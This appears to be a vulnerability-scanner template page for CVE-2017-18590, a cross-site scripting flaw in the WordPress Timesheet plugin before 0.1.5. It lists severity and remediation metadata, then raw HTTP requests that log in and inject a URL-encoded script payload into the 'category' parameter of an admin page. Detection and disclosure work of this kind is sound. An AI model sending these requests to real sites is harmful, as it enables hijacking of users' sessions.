| Title | Timesheet Plugin < 0.1.5 - Cross-Site Scripting |
|---|---|
| Author | Splint3r7 |
| Severity | Medium |
| Impact | Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. |
| Remediation | Update to version 0.1.5 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00075 |
| CVE ID | CVE-2017-18590 |
| CWE ID | CWE-79 |
| Tags | cve cve2017 wordpress wp wp-plugin bws-promobar xss authenticated timesheet vuln |
The Timesheet plugin before 0.1.5 for WordPress has multiple XSS issues.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.6
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=R1hQwK&pwd=ZkiIKK&wp-submit=Log+In
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
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